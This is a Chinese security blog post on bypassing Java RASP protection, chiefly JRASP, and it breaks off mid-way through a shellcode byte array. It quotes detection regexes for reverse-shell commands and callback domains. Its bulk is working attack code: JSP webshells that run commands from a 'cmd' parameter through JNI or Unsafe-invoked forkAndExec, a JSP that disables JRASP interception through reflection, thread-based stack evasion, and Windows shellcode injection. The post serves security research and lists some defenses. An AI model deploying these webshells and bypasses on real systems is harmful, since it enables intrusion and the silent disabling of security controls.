本文在2022-09-18首次投稿于凌日实验室,原文链接:https://mp.weixin.qq.com/s/uboamTu5LinvFcDktmL3Xw
前段时间研究了以下JRASP的代码,在研究过程中看到了2022年Kcon会议上徐元振(pyn3rd)、黄雨喆(Glassy)两位安全研究员分享的议题《RASP攻防下的黑魔法》,借此机会总结了下相关的绕过方式和技巧,并通过实践的方式研究其攻击绕过原理。
本章节介绍了一些RASP的防御手段,基本上囊括了市面上主流基于JavaAgent的检测方式
private static String[] defaultPatterString = new String[]{ "cat.{1,5}/etc/passwd", "nc.{1,30}-e.{1,100}/bin/(?:ba)?sh", "bash\\s-.{0,4}i.{1,20}/dev/tcp/", "subprocess.call\\(.{0,6}/bin/(?:ba)?sh", "fsockopen\\(.{1,50}/bin/(?:ba)?sh", "perl.{1,80}socket.{1,120}open.{1,80}exec\\(.{1,5}/bin/(?:ba)?sh" };
数组中存放了一些常见的恶意命令,并通过正则的方式匹配
private String defaultPatternCmd = "(^|\\W)(curl|ping|wget|nslookup|dig)\\W"; private String defaultPatternDomain = "\\.((ceye|exeye|sslip|nip)\\.io|dnslog\\.cn|(vcap|bxss)\\.me|xip\\.(name|io)|burpcollaborator\\.net|tu4\\.org|2xss\\.cc|request\\.bin|requestbin\\.net|pipedream\\.net)";
主要检测思路是判断是否使用curl、ping等命令访问一些黑名单的地址
也叫上下文(Contextual)分析,通过在命令执行的forkAndExec处埋点,再获取执行的堆栈信息,并向上回溯堆栈,看这个执行的来源来自什么地方。
for (; i < stack.length; i++) { String method = stack[i]; // 命令执行----->用户代码----->反射调用 if (!reachedInvoke) { if ("java.lang.reflect.Method.invoke".equals(method)) { reachedInvoke = true; } // 用户代码,即非 JDK、com.jrasp 相关的函数 if (!method.startsWith("java.") && !method.startsWith("sun.") && !method.startsWith("com.sun.") && !method.startsWith("com.jrasp.")) { userCode = true; } } if (method.startsWith("ysoserial.Pwner")) { message = "Using YsoSerial tool"; break; } if (method.startsWith("net.rebeyond.behinder")) { message = "Using BeHinder defineClass webshell"; break; } if (method.startsWith("com.fasterxml.jackson.databind.")) { message = "Using Jackson deserialze method"; break; } }
缺点:对性能的消耗非常大。如果是在文件读取、请求获取等地方进行埋点,由于这些操作非常频繁,会导致进入埋点信息获取堆栈的操作也会增加,造成大量的资源消耗。
通过在Sql查询的语句上进行埋点,如statement.executeQuery方法,将进行查询的SQL语句进行语法分析和词法分析,能够判断用户是否造成了注入。
这样即使Rasp的部署的应用使用了常规的查询语句,而未使用预编译来防止SQL注入,也可以进行拦截。
缺点:需要独立的语法库进行支持,如果攻击者使用的Payload无法被语法库匹配到,就会造成绕过。同时因为语法/词法分析和匹配也需要资源进行支持,会造成一定的开销。
JNI的全名是Java Native Interface,正如名字所述,这是一个接口。一个可以调用本地C/C++编写的动态链接库封装的方式。
首先创建一个带有Native方法的JniDemo类
package com.rasp.demo; import java.io.File; public class JniDemo { { /** * 系统加载其他的语言的函数 */ String realPath = System.getProperty("user.dir") + File.separator +"raspDemo.so" ; System.load(realPath); } /** * 就这个natice关键字.标记了这个接口,看起来像是abstract */ public native String RaspFilter(String str); public static void main(String[] args) { JniDemo demo = new JniDemo(); String str = demo.RaspFilter("world"); System.out.println(str); } }
之后就是通过javah命令来生成.h文件,犹豫从JDK10开始没有javah了,只能通过javac的-h参数来实现
javac -cp . ./com/rasp/demo/JniDemo.java -h com.rasp.demo.JniDemo
执行后会在当前的目录里面生成一个com_rasp_demo_JniDemo.h的文件名
/* DO NOT EDIT THIS FILE - it is machine generated */ #include <jni.h> /* Header for class com_rasp_demo_JniDemo */ #ifndef _Included_com_rasp_demo_JniDemo #define _Included_com_rasp_demo_JniDemo #ifdef __cplusplus extern "C" { #endif /* * Class: com_rasp_demo_JniDemo * Method: RaspFilter * Signature: (Ljava/lang/String;)Ljava/lang/String; */ JNIEXPORT jstring JNICALL Java_com_rasp_demo_JniDemo_RaspFilter (JNIEnv *, jobject, jstring); #ifdef __cplusplus } #endif #endif
在jni.h文件中的宏定义是
#define JNIEXPORT __declspec(dllexport) #define JNIIMPORT __declspec(dllimport) #define JNICALL __stdcall
上述是Windows版本的宏定义,Linux系统下定义如下:
#define JNIIMPORT #define JNIEXPORT __attribute__ ((visibility ("default"))) #define JNICALL
总体来说,就是需要导出该函数(设置其可见性),让外部调用动态链接库的时候能够找到该函数。
第二步就是创建一个C文件,引入该.h文件,并编写相关实现代码。
#include "com_rasp_demo_JniDemo.h" JNIEXPORT jstring JNICALL Java_com_rasp_demo_JniDemo_RaspFilter (JNIEnv *env, jobject obj,jstring str){ char msg[60] = "hello"; const char *argStr = (*env)->GetStringUTFChars(env,str,NULL); if(argStr == NULL){ (*env)->ReleaseStringUTFChars(env,str,argStr); jniThrowException(env,"java/lang/RuntimeException","Get JNI argStr Error"); return; } strcat(msg,argStr); (*env)->ReleaseStringUTFChars(env,str,argStr); jstring result = (*env)->NewStringUTF(env, msg); return result; }
GetStringUTFChars返回一个指向UTF字符串的指针,该函数会分配内存空间存储该字符串,因此使用完后一定要记得调用对应的释放函数ReleaseStringUTFChars释放分配的空间。
之后我再通过strcat函数将hello字符串也拼接起来,并创建一个jstring的对象返回。
再用gcc编译成dll/so文件
gcc -fPIC -I "/usr/lib/jvm/java-11-openjdk-amd64/include" -I"/usr/lib/jvm/java-11-openjdk-amd64/include/linux" -shared -o raspDemo.so raspDemo.c
如果用c++的代码,用g++编译的情况下应把(*env)->NewStringUTF(env, msg);改成env->NewStringUTF(msg);
gcc编译的环境下如果出现error: too few arguments to function ‘(*env)->ReleaseStringUTFChars’等类似情况,可能是因为没有在函数开头加上env对象
(*env)->NewStringUTF(env, msg);//第一个参数必须是JNIEnv对象
之后编译com.rasp.demo.JniDemo类,执行后可以获得底层RaspFilter函数拼接的helloworld
如果出现Exception in thread "main" java.lang.UnsatisfiedLinkError的异常,则可能是包类的限定名有错误,如上例所示,调用的类必须是com.rasp.demo.JniDemo。
知道JNI注入的攻击手法后,就可以通过以下利用场景进行漏洞利用(这里我用Jrasp做测试,相关文件介绍可以看我之前发布的:https://mp.weixin.qq.com/s/Smh6bCYkQtLIrvJIV5BAiA),首先将JniDemo.class的文件读取字节码数组。
package javaTest; import java.io.File; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.IOException; import java.io.InputStream; import java.nio.ByteBuffer; import java.nio.channels.FileChannel; public class Main { public static void main(String[] args) throws IOException { String filename = "E:\\com\\rasp\\demo\\JniDemo.class"; File file = new File(filename); byte[] bytes = readByNIO(file); System.out.println("new byte[]{"); for(byte b : bytes) { System.out.print(b); System.out.print(","); } System.out.println("};"); } public static void checkFileExists(File file) throws FileNotFoundException { if (file == null || !file.exists()) { System.err.println("file is not null or exist !"); throw new FileNotFoundException(file.getName()); } } public static byte[] readByNIO(File file) throws IOException { checkFileExists(file); //1、定义一个File管道,打开文件输入流,并获取该输入流管道。 //2、定义一个ByteBuffer,并分配指定大小的内存空间 //3、while循环读取管道数据到byteBuffer,直到管道数据全部读取 //4、将byteBuffer转换为字节数组返回 FileChannel fileChannel = null; FileInputStream in = null; try { in = new FileInputStream(file); fileChannel = in.getChannel(); ByteBuffer buffer = ByteBuffer.allocate((int) fileChannel.size()); while (fileChannel.read(buffer) > 0) { } return buffer.array(); } finally { closeChannel(fileChannel); closeInputStream(in); } } public static void closeChannel(FileChannel channel) { try { channel.close(); } catch (IOException e) { e.printStackTrace(); } } public static void closeInputStream(InputStream in) { try { in.close(); } catch (IOException e) { e.printStackTrace(); } } }
之后就能得到输出的数组
new byte[]{ -54,-2,-70,-66,0,0,0,55,0,15,10,0,3,0,12,7,0,13,7,0,14,1,0,6,60,105,110,105,116,62,1,0,3,40,41,86,1,0,4,67,111,100,101,1,0,15,76,105,110,101,78,117,109,98,101,114,84,97,98,108,101,1,0,10,82,97,115,112,70,105,108,116,101,114,1,0,38,40,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,1,0,10,83,111,117,114,99,101,70,105,108,101,1,0,12,74,110,105,68,101,109,111,46,106,97,118,97,12,0,4,0,5,1,0,21,99,111,109,47,114,97,115,112,47,100,101,109,111,47,74,110,105,68,101,109,111,1,0,16,106,97,118,97,47,108,97,110,103,47,79,98,106,101,99,116,0,33,0,2,0,3,0,0,0,0,0,2,0,1,0,4,0,5,0,1,0,6,0,0,0,29,0,1,0,1,0,0,0,5,42,-73,0,1,-79,0,0,0,1,0,7,0,0,0,6,0,1,0,0,0,3,1,1,0,8,0,9,0,0,0,1,0,10,0,0,0,2,0,11 };
之后编写注入JNI攻击的JSP脚本,这里我从Javasec上找到的demo
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%@ page import="java.io.File" %> <%@ page import="java.io.FileOutputStream" %> <%@ page import="java.io.IOException" %> <%@ page import="java.lang.reflect.Method" %> <%! private static final String COMMAND_CLASS_NAME = "com.rasp.demo.JniDemo"; private static final byte[] COMMAND_CLASS_BYTES = new byte[]{ -54,-2,-70,-66,0,0,0,55,0,15,10,0,3,0,12,7,0,13,7,0,14,1,0,6,60,105,110,105,116,62,1,0,3,40,41,86,1,0,4,67,111,100,101,1,0,15,76,105,110,101,78,117,109,98,101,114,84,97,98,108,101,1,0,10,82,97,115,112,70,105,108,116,101,114,1,0,38,40,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,1,0,10,83,111,117,114,99,101,70,105,108,101,1,0,12,74,110,105,68,101,109,111,46,106,97,118,97,12,0,4,0,5,1,0,21,99,111,109,47,114,97,115,112,47,100,101,109,111,47,74,110,105,68,101,109,111,1,0,16,106,97,118,97,47,108,97,110,103,47,79,98,106,101,99,116,0,33,0,2,0,3,0,0,0,0,0,2,0,1,0,4,0,5,0,1,0,6,0,0,0,29,0,1,0,1,0,0,0,5,42,-73,0,1,-79,0,0,0,1,0,7,0,0,0,6,0,1,0,0,0,3,1,1,0,8,0,9,0,0,0,1,0,10,0,0,0,2,0,11 }; /** * 获取JNI链接库目录 * @return 返回缓存JNI的临时目录 */ File getTempJNILibFile() { File jniDir = new File(System.getProperty("java.io.tmpdir"), "jni-lib"); if (!jniDir.exists()) { jniDir.mkdir(); } String filename = "JniDemi.so"; return new File(jniDir, filename); } /** * 高版本JDKsun.misc.BASE64Decoder已经被移除,低版本JDK又没有java.util.Base64对象, * 所以还不如直接反射自动找这两个类,哪个存在就用那个decode。 * @param str * @return */ byte[] base64Decode(String str) { try { try { Class clazz = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); } catch (ClassNotFoundException e) { Class clazz = Class.forName("java.util.Base64"); Object decoder = clazz.getMethod("getDecoder").invoke(null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); } } catch (Exception e) { return null; } } /** * 写JNI链接库文件 * @param base64 JNI动态库Base64 * @return 返回是否写入成功 */ void writeJNILibFile(String base64) throws IOException { if (base64 != null) { File jniFile = getTempJNILibFile(); if (!jniFile.exists()) { byte[] bytes = base64Decode(base64); if (bytes != null) { FileOutputStream fos = new FileOutputStream(jniFile); fos.write(bytes); fos.flush(); fos.close(); } } } } boolean isWin() { return (System.getProperty("os.name") != null && System.getProperty("os.name").startsWith("Win")); } boolean isWin32() { return "32".equals(System.getProperty("sun.arch.data.model")); } boolean isLinux() { return (System.getProperty("os.name") != null && System.getProperty("os.name").startsWith("Linux")); } %> <% String cmd = request.getParameter("cmd"); String jniBytes = request.getParameter("jni"); String COMMAND_JNI_FILE_BYTES; if (isWin()) { if (isWin32()) { // windows 32 COMMAND_JNI_FILE_BYTES = "省略具体的so文件Base64编码信息"; } else { // windows 64 COMMAND_JNI_FILE_BYTES = "省略具体的so文件Base64编码信息"; } } else { if (isLinux()) { // linux COMMAND_JNI_FILE_BYTES = "省略具体的so文件Base64编码信息"; } else { // macos COMMAND_JNI_FILE_BYTES = "省略具体的so文件Base64编码信息"; } } // JNI路径 File jniFile = getTempJNILibFile(); ClassLoader loader = (ClassLoader) application.getAttribute("__LOADER__"); if (loader == null) { loader = new ClassLoader(this.getClass().getClassLoader()) { @Override protected Class<?> findClass(String name) throws ClassNotFoundException { try { return super.findClass(name); } catch (ClassNotFoundException e) { return defineClass(COMMAND_CLASS_NAME, COMMAND_CLASS_BYTES, 0, COMMAND_CLASS_BYTES.length); } } }; writeJNILibFile(jniBytes != null ? jniBytes : COMMAND_JNI_FILE_BYTES);// 写JNI文件到临时文件目录 application.setAttribute("__LOADER__", loader); } try { // load命令执行类 Class commandClass = loader.loadClass("com.rasp.demo.JniDemo"); Object loadLib = application.getAttribute("__LOAD_LIB__"); if (loadLib == null || !((Boolean) loadLib)) { Method loadLibrary0Method = ClassLoader.class.getDeclaredMethod("loadLibrary0", Class.class, File.class); loadLibrary0Method.setAccessible(true); loadLibrary0Method.invoke(loader, commandClass, jniFile); application.setAttribute("__LOAD_LIB__", true); } String content = (String) commandClass.getMethod("RaspFilter", String.class).invoke(commandClass.newInstance(), cmd);//RaspFilter不是静态方法,调用需要实例化 out.println("<pre>"); out.println(content); out.println("</pre>"); } catch (Exception e) { out.println(e.toString()); throw e; } %>
View Code
这是直接执行命令的结果:
经过上传JNI攻击的JSP脚本后的绕过效果:
上述手法需要加载.so的动态链接库才能进行调用,因此通常需要配合目标的文件上传漏洞和代码执行漏洞来调用已经上传的链接库,这种方式大大增加了漏洞利用的成本。而冰蝎作者提出了一种新的思路,通过已经有的tomcat-jni.jar包(在Tomcat环境种默认存在)进行利用。
Library.initialize(null); long pool = Pool.Create(0); long proc = Proc.alloc(pool); Proc.create(proc,"/System/Applications/Calculator.app/Contents/MacOS/Calculator",new String[][],new String[][],Procattr.create(pool),pool);
上述是我在Windows本地测试的代码,通过开启新的进程方式来绕过Rasp的检测。
我仔细分析了一下Jrasp的检测代码,发现好像并未有类似OpenRasp一样有一个Hook开关,只有一个action的变量来判读后续是否拦截。相比较下来,Jrasp并无明显的开关可以直接通过反射去操控,且该action变量在模块中,而模块又是经过SPI注入到JVM中的,因此笔者在实现的过程中也遇到了不少问题。
而我的想法就是通过反射的方式修改这个action字段的值
而这个RceCheck又是动态生成的对象,因此只能获取该算法中的list对象,再从中遍历取出已经初始化好的RceCheck对象并修改。
于是我写了如下poc
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%@ page import="java.lang.Thread" %> <%@ page import="java.lang.reflect.*" %> <%@ page import="java.util.List" %> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>Insert title here</title> </head> <body> <% Class cls = Thread.currentThread().getContextClassLoader().loadClass("com.jrasp.module.rcenative.algorithm.RceAlgorithm"); Field listField = cls.getDeclaredField("list"); //listField.setAccessible(true); List list = (List) listField.get(null); Class AbsRceCheck = Thread.currentThread().getContextClassLoader().loadClass("com.jrasp.module.rcenative.algorithm.check.AbsRceCheck"); Field action = AbsRceCheck.getDeclaredField("action"); action.setAccessible(true); for(Object obj : list){ action.set(obj, 0); } out.println("Succeed"); %> </body> </html>
但是很快,就报出错误
java.lang.ClassNotFoundException: com.jrasp.module.rcenative.algorithm.RceAlgorithm
说找不到该类,这时我才想起Jrasp是自己定义的ClassLoader加载的,因为在Jrasp加载过程中是通过SPI的服务定义找到对应的Jar包路径,再修改其加载器为ModuleJarClassLoader。
为了找到是什么ClassLoader加载的该对象,先将Tomcat的内存dump下来分析
jmap -dump:live,format=b,file=heap.bin pid(进程PID)
再使用jhat命令打卡可视化Web页面
访问http://192.168.249.135:7000/找到对应需要的类,点开后就可以看到ClassLoader的信息
因此我之后的想法是获取内存中的ClassLoader实例,但是经过测试之后,几乎无法拿到已经存在的ClassLoader实例,而通过自己newInstance的方法创建并loadClass获取对应Class的Field字段也是空的。
不过后续转变了思路,在往上Jrasp-Agent初始化的过程,看到com.jrasp.agent.AgentLauncher类中的raspClassLoaderMap字段存放了已经按NameSpace注册好了的ClassLoader。
而有了对应的raspCLassLoader实例之后,就可以用loadClass加载链接com.jrasp.core.algorithm.DefaultAlgorithmManager,该类中有一个static修饰的algorithmMaps字段,熟悉static修饰符的开发同学可能就知道这是一个单例模式。因此可以直接通过反射获取到内容,而无需再去获取DefaultAlgorithmManager的实例对象。
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%@ page import="java.lang.Thread" %> <%@ page import="java.lang.reflect.*" %> <%@ page import="java.util.*" %> <%@ page import="java.net.URLClassLoader" %> <%@ page import="java.net.URL" %> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>Close Rasp for RCE</title> </head> <body> <% Field raspClassLoaderMap = Thread.currentThread().getContextClassLoader().loadClass("com.jrasp.agent.AgentLauncher").getDeclaredField("raspClassLoaderMap"); raspClassLoaderMap.setAccessible(true); Map map = (Map)raspClassLoaderMap.get(null); ClassLoader raspCLassLoader = (ClassLoader) map.get("jrasp"); Field algorithmMaps = raspCLassLoader.loadClass("com.jrasp.core.algorithm.DefaultAlgorithmManager").getDeclaredField("algorithmMaps"); algorithmMaps.setAccessible(true); Map algorithmMap = (Map) algorithmMaps.get(null); Field RceCheckList = algorithmMap.get("rce").getClass().getDeclaredField("list"); RceCheckList.setAccessible(true); List RceList = (List)RceCheckList.get(null); for(int i=0;i<RceList.size();i++){ Object RceAlgorithm = RceList.get(i); Field action = RceAlgorithm.getClass().getSuperclass().getDeclaredField("action"); action.setAccessible(true); action.set(RceAlgorithm,0); } out.println("Succeed"); %> </body> </html>
上述JSP代码就是通过反射来关闭Jrasp的防御。
输出Succeed表示反射代码已经执行完成
再次访问的时候就已经没有拦截我的任何命令了
很多商业化的产品有类似的CPU熔断机制,如果CPU达到90%,就自动Rasp的拦截。因此可以通过发送一些大的数据包或者流量,造成CPU的压力来触发RASP的熔断开关。
分析过Behinder的源码可以很清楚的知道,冰蝎是通过自定义ClassLoader的方式来加载的恶意类,而加载的这个恶意类是通过随机生成的类名。结合我之前在介绍检测手法的时候,说到Rasp很多都是通过堆栈信息回溯的方式来判断命令执行的地方在哪里来的。
if (method.startsWith("net.rebeyond.behinder")) { message = "Using BeHinder defineClass webshell"; break; }
检测了堆栈是否包含net.rebeyond.behinder类开头的信息
下面我就介绍一下恶意类是如何伪造类名骗过Rasp进行命令执行的。
class U extends ClassLoader { U(ClassLoader c) { super(c); } public Class g(byte[] b) { return super.defineClass(b, 0, b.length); } } public class Main { public static void main(String[] args) throws Exception { String filename = "E:\\com\\rasp\\demo\\execCommand.class"; File file = new File(filename); byte[] bytes = readByNIO(file); // BASE64Encoder enc = new BASE64Encoder(); // String encodeString = enc.encodeBuffer(bytes); // System.out.println(encodeString); Main main = new Main(); new U(main.getClass().getClassLoader()).g(bytes).newInstance().equals("cmd.exe /c calc"); } }
首先自定义了自己的ClassLoader加载器,并读取了本地的com.rasp.demo.execCommand类的equals方法
package com.rasp.demo; import java.io.IOException; public class execCommand { public boolean equals(Object obj) { String command = (String) obj; try{ Runtime.getRuntime().exec(command); }catch(IOException e){ return false; } throw new NullPointerException(); //return true; } }
为了方便看到堆栈信息,我这里手动抛出异常,注意在真实绕过场景可以取消异常抛出,返回boolean类型。
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%@ page import="java.io.IOException" %> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>Insert title here</title> </head> <body> <% Thread t = new Thread(new Runnable() { @Override public void run() { try { Runtime.getRuntime().exec(new String[]{"touch","/tmp/test"}); } catch (IOException e) { e.printStackTrace(); } } }); t.start(); out.println(">==test==<"); %> </body> </html>
这种方式通过新开线程的方式来逃避堆栈的检测,但还是无法绕过黑白名单的检测
因为有部分Rasp也会支持内存马的检测,先来看看开源的内存马检测原理:
检测目标类的ClassLoader是否有对应的Class文件落地,如果没有
Instrumentation提供了一个appendToBootstrapClassLoaderSearch方法
void appendToBootstrapClassLoaderSearch(JarFile jarfile):将某个jar加入到Bootstrap Classpath里优先其他jar被加载。
因此使用Instrumentation.appendToBootstrapClassLoaderSearch方法加载的jar包是以Bootstrap ClassLoader加载的,而获取Instrumentation对象有下述两种方式:
Attach:可以加载自己的agent,在premain或agentmain方法中可以拿到
通过伪造JPLISAgent结构和反射调用InstrumentationImpl的appendToBootstrapClassLoaderSearch方法
Unsafe是Java开发中的常见操作类,可以帮助开发者提供直接访问系统内存资源、自主管理内存资源等操作,大大提升了Java运行时的效率和语言底层资源操作能力。
由于Unsafe过于强大,因此获取Unsafe实例的方法只有如下两种:
@CallerSensitive public static Unsafe getUnsafe() { Class var0 = Reflection.getCallerClass(); // 判断var0是不是BootstrapClassLoader if (!VM.isSystemDomainLoader(var0.getClassLoader())) { throw new SecurityException("Unsafe"); } else { return theUnsafe; } }
而该方法是由@CallerSensitive注解修饰,这意味着调用该方法的类必须来自Bootstrap ClassLoader加载的。
所以通常情况下,我们会用反射的方式来获取里面的实例
public static Unsafe getUnsafe(){ Unsafe unsafe = null; try { Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe"); field.setAccessible(true); unsafe = (sun.misc.Unsafe) field.get(null); return unsafe; } catch (Exception e) { throw new AssertionError(e); } }
在这里需要着重介绍的就是Unsafe.allocateInstance方法,该方法可以实例化一个对象而不调用它的构造方法,再去执行它的Native方法,从而绕过Rasp的检测。
<%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="sun.misc.Unsafe" %> <%@ page import="java.io.ByteArrayOutputStream" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="java.lang.reflect.Method" %> <%! byte[] toCString(String s) { if (s == null) return null; byte[] bytes = s.getBytes(); byte[] result = new byte[bytes.length + 1]; System.arraycopy(bytes, 0, result, 0, bytes.length); result[result.length - 1] = (byte) 0; return result; } %> <% String[] strs = request.getParameterValues("cmd"); if (strs != null) { Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe"); theUnsafeField.setAccessible(true); Unsafe unsafe = (Unsafe) theUnsafeField.get(null); Class processClass = null; try { processClass = Class.forName("java.lang.UNIXProcess"); } catch (ClassNotFoundException e) { processClass = Class.forName("java.lang.ProcessImpl"); } Object processObject = unsafe.allocateInstance(processClass); // Convert arguments to a contiguous block; it's easier to do // memory management in Java than in C. byte[][] args = new byte[strs.length - 1][]; int size = args.length; // For added NUL bytes for (int i = 0; i < args.length; i++) { args[i] = strs[i + 1].getBytes(); size += args[i].length; } byte[] argBlock = new byte[size]; int i = 0; for (byte[] arg : args) { System.arraycopy(arg, 0, argBlock, i, arg.length); i += arg.length + 1; // No need to write NUL bytes explicitly } int[] envc = new int[1]; int[] std_fds = new int[]{-1, -1, -1}; Field launchMechanismField = processClass.getDeclaredField("launchMechanism"); Field helperpathField = processClass.getDeclaredField("helperpath"); launchMechanismField.setAccessible(true); helperpathField.setAccessible(true); Object launchMechanismObject = launchMechanismField.get(processObject); byte[] helperpathObject = (byte[]) helperpathField.get(processObject); int ordinal = (int) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject); Method forkMethod = processClass.getDeclaredMethod("forkAndExec", new Class[]{ int.class, byte[].class, byte[].class, byte[].class, int.class, byte[].class, int.class, byte[].class, int[].class, boolean.class }); forkMethod.setAccessible(true);// 设置访问权限 int pid = (int) forkMethod.invoke(processObject, new Object[]{ ordinal + 1, helperpathObject, toCString(strs[0]), argBlock, args.length, null, envc[0], null, std_fds, false }); // 初始化命令执行结果,将本地命令执行的输出流转换为程序执行结果的输出流 Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class); initStreamsMethod.setAccessible(true); initStreamsMethod.invoke(processObject, std_fds); // 获取本地执行结果的输入流 Method getInputStreamMethod = processClass.getMethod("getInputStream"); getInputStreamMethod.setAccessible(true); InputStream in = (InputStream) getInputStreamMethod.invoke(processObject); ByteArrayOutputStream baos = new ByteArrayOutputStream(); int a = 0; byte[] b = new byte[1024]; while ((a = in.read(b)) != -1) { baos.write(b, 0, a); } out.println("<pre>"); out.println(baos.toString()); out.println("</pre>"); out.flush(); out.close(); } %>
因为在基于Instrument的JavaAgent只能修改JVM内存中的Class方法,而无法Hook到Native方法,因此可以通过直接执行forkAndExec的Native方法来执行命令,达到绕过Rasp的方式。
防御这种通过Unsafe直接调用Native的函数的攻击方式,我总结了以下几点防御手段:
如果不考虑性能影响,可以通过在Method.setAccessible、Method.invoke方法上进行埋点检测
在Jvm层面对Native方法进行inline hook的方式
使用Instrument.setNativeMethodPrefix方法设置Native函数的前缀,例如上述的forkAndExec函数名,可以通过setNativeMethodPrefix(transformer,"another_")设置前缀的方式,变成"another_forkAndExec"函数,导致攻击者无法通过Unsafe反射的方式调用Native底层方法(开源项目Jrasp就是使用这种防御方式)。
Java跨平台任意Native代码执行,详情可参考《Java内存攻击技术漫谈》一文
《Java内存马攻击技术漫谈》文中,作者提出一种Windows环境下植入ShellCode的一种方法,可向自身进程植入并运行ShellCode。
package javaTest; import java.lang.reflect.Method; public class Hello { public static void main(String[] args) throws Exception { System.loadLibrary("attach"); Class cls=Class.forName("sun.tools.attach.WindowsVirtualMachine"); for (Method m:cls.getDeclaredMethods()) { if (m.getName().equals("enqueue")) { long hProcess=-1; byte shellcode[] = new byte[] //pop calc.exe x64 { (byte) 0xfc, (byte) 0x48, (byte) 0x83, (byte) 0xe4, (byte) 0xf0, (byte) 0xe8, (byte) 0xc0, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0x51, (byte) 0x41, (byte) 0x50, (byte) 0x52, (byte) 0x51, (byte) 0x56, (byte) 0x48, (byte) 0x31, (byte) 0xd2, (byte) 0x65, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x60, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x18, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x20, (byte) 0x48, (byte) 0x8b, (byte) 0x72, (byte) 0x50, (byte) 0x48, (byte) 0x0f, (byte) 0xb7, (byte) 0x4a, (byte) 0x4a, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0, (byte) 0xac, (byte) 0x3c, (byte) 0x61, (byte) 0x7c, (byte) 0x02, (byte) 0x2c, (byte) 0x20, (byte) 0x41, (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1, (byte) 0xe2, (byte) 0xed, (byte) 0x52, (byte) 0x41, (byte) 0x51, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x20, (byte) 0x8b, (byte) 0x42, (byte) 0x3c, (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x8b, (byte) 0x80, (byte) 0x88, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x85, (byte) 0xc0, (byte) 0x74, (byte) 0x67, (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x50, (byte) 0x8b, (byte) 0x48, (byte) 0x18, (byte) 0x44, (byte) 0x8b, (byte) 0x40, (byte) 0x20, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0xe3, (byte) 0x56, (byte) 0x48, (byte) 0xff, (byte) 0xc9, (byte) 0x41, (byte) 0x8b, (byte) 0x34, (byte) 0x88, (byte) 0x48, (byte) 0x01, (byte) 0xd6, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0, (byte) 0xac, (byte) 0x41, (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1, (byte) 0x38, (byte) 0xe0, (byte) 0x75, (byte) 0xf1, (byte) 0x4c, (byte) 0x03, (byte) 0x4c, (byte) 0x24, (byte) 0x08, (byte) 0x45, (byte) 0x39, (byte) 0xd1, (byte) 0x75, (byte) 0xd8, (byte) 0x58, (byte) 0x44, (byte) 0x8b, (byte) 0x40, (byte) 0x24, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0x66, (byte) 0x41, (byte) 0x8b, (byte) 0x0c, (byte) 0x48, (byte) 0x44, (byte) 0x8b, (byte) 0x40, (byte) 0x1c, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0x41, (byte) 0x8b, (byte) 0x04, (byte) 0x88, (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x58, (byte) 0x5e, (byte) 0x59, (byte) 0x5a, (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x59, (byte) 0x41, (byte) 0x5a, (byte) 0x48, (byte) 0x83, (byte) 0xec, (byte) 0x20, (byte) 0x41, (byte) 0x52, (byte) 0xff, (byte) 0xe0, (byte) 0x58, (byte) 0x41, (byte) 0x59, (byte) 0x5a, (byte) 0x48, (byte) 0x8b, (byte) 0x12, (byte) 0xe9, (byte) 0x57, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x5d, (byte) 0x48, (byte) 0xba, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x8d, (byte) 0x8d, (byte) 0x01, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0xba, (byte) 0x31, (byte) 0x8b, (byte) 0x6f, (byte) 0x87, (byte) 0xff, (byte) 0xd5, (byte) 0xbb, (byte) 0xf0, (byte) 0xb5, (byte) 0xa2, (byte) 0x56, (byte) 0x41, (byte) 0xba, (byte) 0xa6, (byte) 0x95, (byte) 0xbd, 